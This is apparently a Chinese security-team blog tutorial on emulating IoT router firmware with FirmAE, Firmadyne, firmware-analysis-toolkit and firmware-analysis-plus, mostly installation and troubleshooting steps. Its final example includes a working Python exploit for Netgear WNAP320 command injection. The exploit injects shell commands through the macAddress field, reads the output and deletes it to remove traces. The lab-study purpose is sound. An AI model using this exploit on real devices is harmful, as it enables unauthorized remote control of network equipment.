0X00 前言

评估嵌入式物联网设备安全性的一种方法是对其固件进行大规模的模糊测试等动态分析,在学习路由器漏洞与复现的过程中,购买太多硬件设备学习是一个成本较高的选择,那么可以选择利用已有常见的固件仿真工具,自动化的完成固件模拟工作,进行漏洞分析及复现工作。
本文将针对Firmadyne、FirmAE、firmware-analysis-plus、firmware-analysis-toolkit等几个仿真工具展开介绍。

前置环境

固件仿真时存在部分依赖环境及工具相似性较高,故在此列出,后续用到不再单独说明
squashfs-tools 安装
# 安装依赖库文件$ sudo apt-get install build-essential liblzma-dev liblzo2-dev zlib1g-dev# 下载源码$ git clone https://github.com/devttys0/sasquatch.git# 源码的编译$ (cd sasquatch && ./build.sh)
binwalk安装
尽量保留Python2 和 Python3 两个版本环境,Firmadyne部分依赖Python2

方法1:apt-get安装 apt-get install binwalk方法2:下载源码进行安装$ sudo git clone https://github.com/devttys0/binwalk.git$cd binwalk $sudo ./deps.sh$sudo python3 ./setup install$sudo apt-get install python-lzma$sudo -H pip3 install git+https://github.com/ahupp/python-magic$sudo -H pip install git+https://github.com/sviehb/jefferso

0X01FirmAE固件仿真

FirmAE简介

FirmAE 是国外SysSec Lab 开发的一个执行仿真和漏洞分析的全自动框架。FirmAE 通过从固件的BOOT、NETWORK、NVRAM、KERNEL、ETC这五种仲裁技术,总结了导致固件仿真的通用原因,显着提高了仿真成功率,作者收集了八家供应商的 1,124 个无线路由器和 IP 摄像机的固件进行成功率测试,从Firmadyne的 16.28% (183个成功仿真)提高到 79.36%(892个成功仿真)。包括 Web 服务器,这 Firmadyne 运行的映像约 4.8 倍。
FirmAE 提供了 常用的Check检查仿真 、Analysis mode分析模式、Run mode 运行模式,以及用户级基本调试User-level basic debugging、内核级启动调试Kernel-level boot debugging。
本文中固件仿真当中我们利用的是check和run模式。运行完check模式后,run模式的运行速度会大大加快,因为check 模式会对固件进行仲裁仿真的各项操作,将设备运行后,检查网络连通性和服务可用性,最后仿真退出,保存相关的日志信息记录在缓存文件中。run模式是根据 check模式构建的各种处理信息,进行仿真,在仿真程序时不会退出。
FirmAE安装:
克隆到本地$ git clone --recursive https://github.com/pr0v3rbs/FirmAE运行download.sh 脚本$ ./download.sh运行install.sh脚本$ ./install.sh

固件仿真实例:

系统版本:Ubuntu 18.0.4
固件版本:DIR830LA1_FW100B07
通过-c 参数,尝试使用check模式对固件进行尝试,查看固件是否能够初步成功
check模式
./run.sh -c dlink826 ./firmwares/DIR826L_RUA1_FW100RUB07.bin
在已经执行过check模式下再进行仿真时,仿真的速度会变得很快。
固件仿真命令
./run.sh -r dir830a ./firmwares/DIR830LA1_FW100B07.bin
访问192.168.0.1
漏洞复现:
配合仿真进行简单的CVE-2021-45382漏洞复现查看仿真效果
执行payload 并将ls / 命令执行结果写入exp.html中,访问exp.html 即可查看执行结果

FirmAE 问题记录

question 1:
找不到gdbserver
解决方法:
download脚本部分文件经过多次下载失败,可以根据download.sh下载内容逐一下载。

0X02 Firmadyne

Firmadyne简介

FIRMADYNE 是一个自动化且可扩展的系统,用于对基于 Linux 的嵌入式固件进行仿真和动态分析,超过42 多个不同供应商支持以下组件:
1.修改内核(MIPS:v2.6,ARM:v4.1, v3.10)用于检测固件执行;
2.用于模拟硬件 NVRAM 外设的用户空间NVRAM 库;
3.从下载的固件中提取文件系统和内核的提取器;
4.一个小型控制台应用程序,用于生成额外的 shell 进行调试;
此外作者还使用 FIRMADYNE 编写了可访问的网页、SNMP信息、漏洞检查这三个基本的自动分析,和QEMU相比,Firmadyne提出的自动化的仿真固件大致分为六个步骤:
  1. 解析固件提取文件系统;
  1. 根据提取的文件系统,判断固件的架构信息;
  1. 修复文件系统如libnvram.so、常见的设备文件等,并打包镜像;
  1. 获取目标固件的网络配置信息,并生成qemu的启动脚本;
  1. 执行生成的启动脚本,开始仿真;
环境部署:
1.安装依赖:
sudo apt-get install busybox-static fakeroot git dmsetup kpartx netcat-openbsd nmap python-psycopg2 python3-psycopg2 snmp uml-utilities util-linux vlan
2.下载firmadyne源:
git clone --recursive https://github.com/firmadyne/firmadyne.git
3.安装数据库:
sudo apt-get install postgresqlsudo -u postgres createuser -P firmadyne, withpassword firmadynesudo -u postgres createdb -O firmadyne firmwaresudo -u postgres psql -d firmware < ./firmadyne/database/schema
4.下载安装QEMU
:

sudo apt-get install qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
5.修改firmadyne.config,并将FIRMWARE_DIR地址修改为Firmadyne的当前路径:
FIRMWARE_DIR=firmadyne path
6.执行download.sh脚本
:

cd ./firmadyne; ./download.sh
7.修改fat.config:
[DEFAULT]sudo_password=123456firmadyne_path=/tools/fat/firmadyne
至此Firmadyne配置结束,Firmadyne配置相对复杂,仿真固件时流程有些麻烦,下面章节引入firmware-analysis-plus对Firmadyne进行更为方便的固件仿真案例。

Firmadyne问题记录

question 1:

原因:
download.sh因目标站点在国外,脚本下载较慢
解决方法:
替换一下Firmadyne目录内的binaries即可
question 2:
[!] Too many stale images[!] Please run reset.py or manually delete the contentsof the scratch/ and images/ directory
解决方法:
python3 运行 reset.py脚本或者手动删除问题目录的内容
question 3:
delimiter: <class'pexpect.exceptions.EOF'>
解决方法:
sudo -u postgres psql -d firmware < ./firmadyne/database/schema

0X03 firmware-analysis-plus

Firmadyne 工具实际配置较为复杂,后来 attify 制作了开源工具 firmware-analysis-toolkit (简称fat)整合相关流程,进一步降低了该工具的使用难度。
fat固件分析工具包是基于Firmadyne 进行了一些更改,此处仅对fat做简单介绍,本节仿真案例以firmware-analysis-plus(简称fap)进行说明。

fap简介

fap是在binwalk、firmadyne 、fat的基础上做出了改进和定制,包括精简不必要组件,优化仿真流程,优化网络环境大幅压缩安装时间,修复了fat其中存在的部分bug,在其基础上重写脚本改成的新的项目。

其原理主要包括两点:
qemu提供多种架构指令的模拟,使用预先编译好的内核启动固件中的核心业务;
多数嵌入式设备含有一个 nvram 芯片,保存一些重要的配置信息,firmadyne 实现一个新的 libnvram.so 库文件,通过代码模拟固件启动时加载 nvram 配置信息的行为。

固件仿真实例:

系统版本:Ubuntu 18.0.4

固件版本:WNAP320_V2.0.3_firmware.tar
1.clone项目
git clone https://github.com/liyansong2018/firmware-analysis-plus.git
2.运行setup脚本
cd firmware-analysis-plus./setup.sh
3.修改fat.config
sudo_password=123456firmadyne_path=/tools/fap/firmadyne

4.运行仿真脚本
python3 fat.py -q qemu-builds/2.5.0/ WNAP320_V2.0.3_firmware.tar
访问192.168.0.100 成功出现设备web界面


按回车输入root/passwd可进入设备shell模式

配合仿真进行远程代码执行漏洞复现
import requestsimport sysif(len(sys.argv) != 2): print('Must specify the IP parameter') print("eg: python3 wnap320_v2_0_3.py <IP>") sys.exit(0)host = sys.argv[1]port = 80cmd = ''while(True): cmd = input('Shell_CMD$ ')#injecting system command part writing the command output to a output file data = {'macAddress' : '112233445566;' + cmd + ' > ./output #','reginfo' : '0','writeData' : 'Submit' } url = 'http://' + host + '/boardDataWW.php' response = requests.post(url, data=data)if(response.ok):#read the command output result url = 'http://' + host + '/output' cmdOutput = requests.get(url) print(cmdOutput.text)#remove trace cmd = 'rm ./output' data = {'macAddress' : '112233445566;' + cmd + ' #','reginfo' : '0','writeData' : 'Submit' } url = 'http://' + host + '/boardDataWW.php' response = requests.post(url, data=data)else: print('[!] No response from the server.')

0X04 小结

由于设备真实环境和仿真固件执行环境,如固件设备来自于非标准化的开发过程,使得设备驱动、库、内核都存在差异造成了各种仿真方式低的仿真成功率。

几乎没有一个平台能够模拟所有硬件设备。IoT产品的架构也不尽相同,所以在固件研究过程中多进行仿真工具的尝试,了解相关仿真工具的原理及可仿真的固件等情况后才可以根据实际要求去选择合适的仿真平台。
参考文献[1] Firmadyne[2] Firmware Analysis Toolkit[3] FirmAE[4] firmware-analysis-plus[5] qemu
E
N
D
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室。团队公众号自创建以来,共发布原创文章370余篇,自研平台达到26个,目有15个平台已开源。此外积极参加各类线上、线下CTF比赛并取得了优异的成绩。如有对安全行业感兴趣的小伙伴可以踊跃加入或关注我们
继续阅读
阅读原文